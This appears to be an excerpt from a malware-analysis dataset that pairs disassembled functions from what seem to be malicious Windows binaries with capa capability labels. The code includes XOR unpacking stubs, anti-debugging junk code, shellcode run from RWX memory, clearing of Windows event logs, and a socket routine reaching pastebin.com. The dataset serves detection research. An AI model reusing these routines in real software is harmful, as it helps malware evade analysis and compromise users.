joyce8/EMBER2024-capa huggingface dataset:
Function at 0x91941d
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 0xa], esi
xchg byte [esp + 3], bh
bt edi, edx
bt bx, cx
mov ebp, dword [esp + 2]
lea esp, [esp + 0xa]
jmp 0x9193f2
lea esp, [esp + 0xa]
setae dh
sete ch
sub esp, 5
cpuid
lea edi, [esi + edi]
jmp 0x9193a5
mov edi, 0x7c237525
cld
xchg ebx, ebp
sub esp, 0x15
xchg ecx, eax
xchg bl, dl
jmp 0x91954d
mov dword [esp + 4], edi
mov ch, cl
mov ebp, 0xd020b1eb
mov word [esp], sp
lea esi, [edx*4]
rdtsc
jmp 0x9193dc
bswap edi
cpuid
mov dx, word [esp + 0xd]
jmp 0x9193c8
cmc
ror bp, cl
bswap ebp
lea edx, [ecx - 0xf5]
neg dx
bswap edi
jmp 0x9194fc
sub esp, 0x14
lea esp, [esp + 0x4b]
mov ecx, 0xcb6aef9a
bswap esi
dec edx
lea ecx, [edi + 0x85]
jmp 0x919428
xchg edi, ecx
mov dl, byte [esp + 1]
rdtsc
mov bl, 0x77
pushfd
bsr bx, dx
jmp 0x9194a8
setg cl
bsr si, bx
mov bl, 0xf6
mov dl, 0x2b
bsr esi, ebp
sub esp, 0x10
jmp 0x91945a
or di, bp
bsf ecx, ebx
xchg ah, dl
push dword [esp + 0xe]
mov byte [esp + 0xf], cl
jmp 0x9194d4
xchg di, ax
rol edi, 6
ror esi, 0x16
setge ah
xchg word [esp + 6], bp
setl bl
jmp 0x919492
mov dword [esp + 8], edx
call int.009194e6
push 0x7f46dfd
lodsb al, byte [esi]
pop edx
into
pop esp
cmp edx, esi
invalid
not si
xchg dx, ax
push dword [esp + 0x10]
xchg esi, ecx
add esp, 0xb
rcl cl, cl
jmp 0x9194be
mov ebp, edx
btc ecx, edx
cpuid
mov di, ax
or edx, 0x94c39723
and cx, 0xfda4
jmp 0x91947f
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
sub esp, 0x15
pop word [esp + 6]
xchg si, bp
xchg dword [esp + 0xc], edi
neg dx
jmp 0x919443
Function at 0x9194e6
Capabilities:
Execute anti-debugging instructions

Disassembly:
xchg byte [esp + 9], bh
mov cx, word [esp + 0xf]
cpuid
add esp, 0x10
jmp 0x91952c
mov cx, 0x8bd0
mov ebp, 0xf2b8036b
pop cx
popal
clc
mov edx, ebp
jmp 0x919580
push word [esp + 3]
rdtsc
sub esp, 0x1e
mov di, 0x4fe8
bt eax, esp
stc
jmp 0x919516
xchg word [esp], dx
xchg dl, dh
pop dx
mov ebp, esp
mov si, 0xcac
jmp 0x919593
cld
mov ch, cl
mov word [esp], si
bt ebp, edi
xchg bp, bx
mov word [esp], dx
jmp 0x91956a
mov cx, word [esp]
add esp, 0
rdtsc
lea esp, [esp]
std
neg esi
jmp 0x91977f
lea eax, [ecx + ebx]
bswap eax
call fcn.00919608
std
pop dword [esp]
mov al, 0x18
bsr edx, esp
pop esi
setle ch
jmp 0x9197db
mov bx, 0x46cc
pop bx
mov word [esp + 9], bp
xchg ah, bl
jmp 0x919803
pushal
lea ecx, reloc.IPHLPAPI.DLL_GetInterfaceInfo
xchg ch, al
shl ah, cl
mov bh, 0xa9
bts edx, ebp
jmp 0x9197c5
mov word [esp + 0xd], si
push word [esp + 0x11]
xchg dword [esp + 0xe], esi
jmp 0x919a62
pop dword [esp + 8]
xchg cx, ax
mov dh, 0xc1
mov di, 0x1415
bsf bx, ax
lea esi, reloc.IPHLPAPI.DLL_GetInterfaceInfo
jmp 0x9197ed
lea esp, [esp + 0xc]
lea esp, [esp + 8]
bswap edx
pop word [esp]
xchg dword [esp], edx
sub esp, 0xc
jmp 0x919899
push word [esp + 0x17]
mov ch, byte [esp + 4]
bsf esi, edx
mov byte [esp + 9], ah
mov byte [esp + 0xb], dh
xchg byte [esp + 0x16], bh
jmp 0x919845
xchg byte [esp + 7], dl
lea ebx, [eax*4]
not dx
not ebx
jmp 0x9198e9
xchg edx, ebx
not ebp
not ebx
neg ax
pop cx
lea ebx, [edi*4]
jmp 0x919883
bsr ebx, ebx
lea ebx, [edx + ebx]
mov ax, di
push dword [esp + 0x12]
jmp 0x9198d3
rol al, cl
mov ecx, esp
pop esi
pop eax
btc bp, bp
bsf di, si
jmp 0x9198ad
pop dword [esp + 0x10]
xchg word [esp + 7], cx
lea esp, [esp + 0xd]
jmp 0x919974
lea esp, [esp + 0xb]
btr ebp, edi
xchg edi, ebx
lea esp, [esp + 3]
sub esp, 0x1f
mov edx, esp
jmp 0x9198c3
lea esi, [ebx + edi]
mov ebx, 0x99890d58
mov si, word [esp + 4]
pop dword [esp]
or dh, 0xa6
add esp, 0
jmp 0x919943
neg edi
rdtsc
xchg bh, ch
xchg byte [esp + 5], cl
bsf esi, edx
bswap eax
jmp 0x9198fd
lea esp, [esp + 1]
popal
call fcn.0091995b
dec ebx
lds edx, [ebp + 0x3c]
iretd
sbb ebx, 0x1550dab0
mov cx, 0x7281
btc ebx, edi
mov ah, 0x11
not ax
lea esp, [esp + 4]
jmp 0x91992d
lea ebp, [ecx - 0xc5]
neg si
mov dword [esp + 5], ecx
pop cx
rdtsc
mov dword [esp + 3], ebx
jmp 0x91991c
pop esi
neg ebp
lea eax, [ecx*4]
rol cl, 7
xchg dword [esp + 9], esi
lea ebx, [eax + ecx]
jmp 0x919869
rol bl, 2
bswap ebx
bswap ebx
xchg dword [esp + 0xa], edx
mov dword [esp + 2], ecx
mov eax, edx
jmp 0x9199c2
Function at 0x9196a6
Capabilities:
Execute anti-debugging instructions

Disassembly:
neg ax
pop di
xchg dword [esp], ecx
xchg ecx, ebx
jmp 0x9196b6
bt ebp, ecx
cmp di, 0x15d3
xchg edi, ebp
bswap edx
setg bh
jmp 0x919734
lea esp, [esp + 4]
neg dl
lea esp, [esp]
bsr esi, esp
lea edx, [ebx*4]
jmp 0x919715
mov bx, di
pop ax
cpuid
mov eax, ebp
neg ax
mov dword [esp], ebx
jmp 0x9196e9
push word [esp + 1]
rdtsc
xchg dword [esp], ecx
add bh, dh
mov bp, word [esp + 4]
and ax, 0x47f
jmp 0x91975f
mov word [esp + 5], bp
btc edx, ecx
adc bl, ch
std
xchg dword [esp + 2], ebx
bsf si, sp
jmp 0x919704
rdtsc
lea edi, reloc.IPHLPAPI.DLL_GetInterfaceInfo
mov al, 0x31
lea esp, [esp]
bswap edx
jmp 0x9197ab
inc dx
xchg byte [esp], bh
mov eax, 0x5eec8bad
mov word [esp + 1], bx
xchg dword [esp], edi
lea eax, reloc.IPHLPAPI.DLL_GetInterfaceInfo
jmp 0x919749
mov byte [esp + 2], ch
xchg byte [esp], bl
mov ebp, dword [esp + 4]
and dh, 0xf8
push dword [esp]
lea ebp, [ebx*4]
jmp 0x919789

Function at 0x91b3b4
Capabilities:
Execute anti-debugging instructions
Packed with generic packer

Disassembly:
call fcn.0091b0ca
call 0x91b39b
mov eax, dword [eax + 0x1c]
jmp 0x91b3f4
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x91b0c5
Function at 0x100022ca
Capabilities:
Create thread

Disassembly:
mov eax, 0x56e
mov word [0x10006014], ax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.ws2_32
mov dword [0x10006374], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
push 0
push 0x10002305
mov dword [0x10006370], eax
call dword [sym.imp.MSVCR120.dll__beginthread]
xor eax, eax
add esp, 0xc
inc eax
ret

Function at 0x1000246b
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
push 4
mov esi, eax
mov dword [ebp - 0x18], 0x5dc
lea eax, [ebp - 0x18]
push eax
push 0x1006
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push str.pastebin.com
call dword [sym.imp.WS2_32.dll_gethostbyname]
push 0x1bb
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
mov word [ebp - 0x14], bx
call dword [sym.imp.WS2_32.dll_connect]
push ecx
push ecx
push dword [sym.imp.WS2_32.dll_recv]
push dword [sym.imp.WS2_32.dll_send]
push esi
call section..text
add esp, 0x14
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
push str._r_n_r_n
push dword [0x100063dc]
call dword [sym.imp.MSVCR120.dll_strstr]
push 0xa
lea ecx, [ebp - 0x1c]
add eax, 4
push ecx
push eax
call dword [sym.imp.MSVCR120.dll_strtoul]
mov ecx, dword [ebp - 4]
add esp, 0x14
mov dword [edi], eax
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.100028b7
mov esp, ebp
pop ebp
ret
Function at 0x1000287e
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
mov edx, dword [ecx]
je 0x100028b1
push esi
push edi
mov edi, dword [ebp + 8]
not edx
xor esi, esi
movzx eax, byte [esi + edi]
xor eax, edx
shr edx, 8
and eax, 0xff
xor edx, dword [eax*4 + 0x10004310]
inc esi
cmp esi, dword [ebp + 0xc]
jne 0x10002892
pop edi
not edx
pop esi
mov dword [ecx], edx
pop ebp
ret 8

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ed0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
mov esi, 0x3dd95353
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x676a1a95
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
nop
add eax, 0x403daa
nop
sub eax, 0x403d50
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp fcn.00401219

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
mov ebx, 0x40de38
nop
nop
mov ecx, 0x74b67474
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x68b660b0
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401330
Capabilities:
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
cmp dword [0x84b670], 0x594
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 8], eax
jne 0x401363
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov ecx, dword [0x42c298]
mov edx, dword [0x42c29c]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], edx
call fcn.00401320
mov ebx, dword [ebp - 0x18]
mov eax, dword [0x42c2a0]
mov ecx, dword [0x42c2a4]
add ebx, 0x23f
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x1c], 0x20
jmp 0x4013b0
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov ecx, dword [0x84b670]
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x401410
push 0
lea edx, [ebp - 0x430]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
mov eax, dword [ebp - 4]
mov ecx, dword [0x84b670]
add eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
cmp ecx, 0xfa9
jne 0x40142a
mov dword [0x84ac0c], 0xedeb2e40
jmp 0x40143c
cmp ecx, 0x3eb
jne 0x40143c
mov dword [0x84a5c0], 0
mov ecx, dword [ebp - 0xc]
mov esi, edi
shr esi, cl
lea eax, [ebx + edi]
mov dword [ebp - 0x10], eax
mov dword [0x84ac08], 0xf4ea3dee
add esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor dword [ebp - 4], eax
cmp dword [0x84b670], 0x9e6
jne 0x401474
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor esi, dword [ebp - 4]
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x20]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov ecx, dword [ebp - 8]
shl ecx, 4
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 8]
nop
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov esi, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x10]
xor dword [ebp - 4], edx
shr esi, cl
add esi, dword [ebp - 0x2c]
cmp dword [0x84b670], 0x121
jne 0x4014da
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov eax, dword [ebp - 4]
xor eax, esi
add ebx, 0x61c88647
sub edi, eax
sub dword [ebp - 0x1c], 1
mov dword [ebp - 4], eax
mov dword [ebp - 0x18], ebx
jne 0x4013b0
cmp dword [0x84b670], 0xa6d
mov esi, dword [ebp + 8]
mov dword [esi], edi
jne 0x401521
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 8]
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 8]
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x401530
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x84b670]
mov ecx, dword [0x84a5c4]
shr eax, 3
sub esp, 0x808
test eax, eax
jbe 0x4015de
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
lea ebx, [ebx]
cmp dword [0x84b670], 0x959
jne 0x4015c8
push 0
push 0
push 0
call esi
push 0
lea eax, [ebp - 0x808]
push eax
push 0
push str.xovofodiyigo
push 0
push 0
call edi
push 0
push 0
push str.zaberivefanetev
push str.xewudezunesihafowakivoyeya
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00401330
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x401570
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401620
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get hostname

Disassembly:
push ecx
push 0x42d448
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x426178
push eax
mov dword fs:[0], esp
sub esp, 0x504
cmp dword [0x84b670], 0x5b1
push ebx
push esi
push edi
jne 0x4016f7
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x34]
call fcn.00401c80
push 0
mov dword [ebp - 4], 0
call fcn.00403c7f
add esp, 4
push 0
push 0
call fcn.00403921
add esp, 8
jmp 0x401610
mov eax, dword [0x84b670]
add eax, 0x1134b
push eax
push 0
mov dword [0x84b670], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, dword [0x84b670]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x84a5c4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x401743
lea eax, [ebp - 0x510]
push eax
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401730
mov ecx, dword [0x84b670]
xor esi, esi
test ecx, ecx
jbe 0x4017b9
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVersionExA]
jmp 0x401770
mov ecx, dword [0x84b674]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x84a5c4]
mov byte [eax + esi], dl
mov ecx, dword [0x84b670]
cmp ecx, 0xa8
jne 0x4017b4
push 0
lea ecx, [ebp - 0x10]
push ecx
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea edx, [ebp - 0x110]
push edx
call ebx
mov ecx, dword [0x84b670]
inc esi
cmp esi, ecx
jb 0x401770
xor eax, eax
jmp 0x4017c0
lea edx, [ecx + eax]
cmp edx, 0xe
je 0x401855
inc eax
cmp eax, 0x39621
jl 0x4017c0
call fcn.00401530
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x4017ed
call fcn.004015f0
inc esi
cmp esi, 0x6753f
jl 0x4017e1
mov esi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov ebx, 0x7b
jmp 0x401810
cmp dword [0x84b670], 0x86
jne 0x40183a
push 0
push str.henanuhasov_xun
push str.ekuposu_nujuf
call esi
push 0
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
sub ebx, 1
jne 0x401810
call fcn.00401280
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x401860
Capabilities:
Access the windows event log
Clear windows event logs
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
cmp dword [0x84b670], 0x400
push esi
push edi
jne 0x4018c8
push 0
call dword [sym.imp.USER32.dll_WindowFromDC]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll__lopen]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea esi, [ebp - 0x24]
call fcn.004019c0
mov ecx, esi
call fcn.004019e0
mov edi, dword [ebp - 4]
push ebx
mov ebx, dword [sym.imp.USER32.dll_SetCaretPos]
xor esi, esi
cmp esi, 0xa50
jge 0x4018e2
push 0
push 0
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x2af68b
jle 0x4018f8
cmp edi, 0x78d9a205
jne 0x401901
inc esi
cmp esi, 0x1c5d
jl 0x4018d4
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
nop
push 0
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
cmp esi, 0x206d47
jg 0x40192d
inc esi
cmp esi, 0x4f6a4
jl 0x401910
mov ebx, dword [ebp - 4]
mov edi, dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
xor esi, esi
push 0
call edi
cmp esi, 0x2b259d
jle 0x40194c
cmp ebx, 0x785074d5
jne 0x401955
inc esi
cmp esi, 0x11915
jl 0x401938
mov ecx, dword [0x42c4dc]
mov edx, dword [0x42c4b0]
mov dword [0x84b670], ecx
mov dword [0x84b674], edx
call fcn.00401620
mov esi, dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov edi, 0x3078f
pop ebx
mov edi, edi
cmp dword [0x84b670], 0x51f
jne 0x40199c
push 0
lea eax, [ebp - 0x424]
push eax
push str.kuzekaziguzedabixuve
call esi
sub edi, 1
jne 0x401980
mov eax, dword [0x84a5c4]
mov dword [0x84ac04], eax
call eax
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4045db
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42b7a8]
jne 0x4045e5
repz ret
jmp fcn.0040a04c
Function at 0x40cf4a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405286
and dword [ebp - 4], 0
cmp dword [0x42d374], 0
mov ebx, eax
jne 0x40cffb
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40d0ac
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40d0ac
push eax
call fcn.00405214
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42d374], eax
call esi
push eax
call fcn.00405214
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x42d378], eax
call esi
push eax
call fcn.00405214
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x42d37c], eax
call esi
push eax
call fcn.00405214
pop ecx
mov dword [0x42d384], eax
test eax, eax
je 0x40cffb
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405214
pop ecx
mov dword [0x42d380], eax
mov eax, dword [0x42d380]
cmp eax, ebx
je 0x40d053
cmp dword [0x42d384], ebx
je 0x40d053
push eax
call fcn.0040528f
push dword [0x42d384]
mov esi, eax
call fcn.0040528f
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40d053
test edi, edi
je 0x40d053
call esi
test eax, eax
je 0x40d04a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40d04a
test byte [ebp - 0xc], 1
jne 0x40d053
or dword [ebp + 0x10], 0x200000
jmp 0x40d08c
mov eax, dword [0x42d378]
cmp eax, ebx
je 0x40d08c
push eax
call fcn.0040528f
pop ecx
test eax, eax
je 0x40d08c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40d08c
mov eax, dword [0x42d37c]
cmp eax, ebx
je 0x40d08c
push eax
call fcn.0040528f
pop ecx
test eax, eax
je 0x40d08c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x42d374]
call fcn.0040528f
pop ecx
test eax, eax
je 0x40d0ac
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40d0ae
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x407ef8
nop
mov ecx, 0x9f439fb
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section._RDATA
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x66b5432
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x409e20
Capabilities:
Get common file path
Move file

Disassembly:
sub esp, 0x200
lea eax, [esp]
push 0xff
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x409ecb
push ebx
push esi
lea ecx, [esp + 8]
push edi
push ecx
lea edx, [esp + 0x110]
push 0x40e244
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, 0x40e23c
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x210]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
test eax, eax
pop ebx
je 0x409eb5
lea eax, [esp + 0x100]
lea ecx, [esp]
push eax
push ecx
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
add esp, 0x200
ret
lea edx, [esp]
lea eax, [esp + 0x100]
push edx
push eax
call dword [sym.imp.MSVCRT.dll_rename]
add esp, 8
add esp, 0x200
ret

Function at 0x503b67
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x5032dd
mov dword [0x50521c], 2
jmp 0x503b97
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x504088
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c6a
push 0
push 0
push 0
push 0x505248
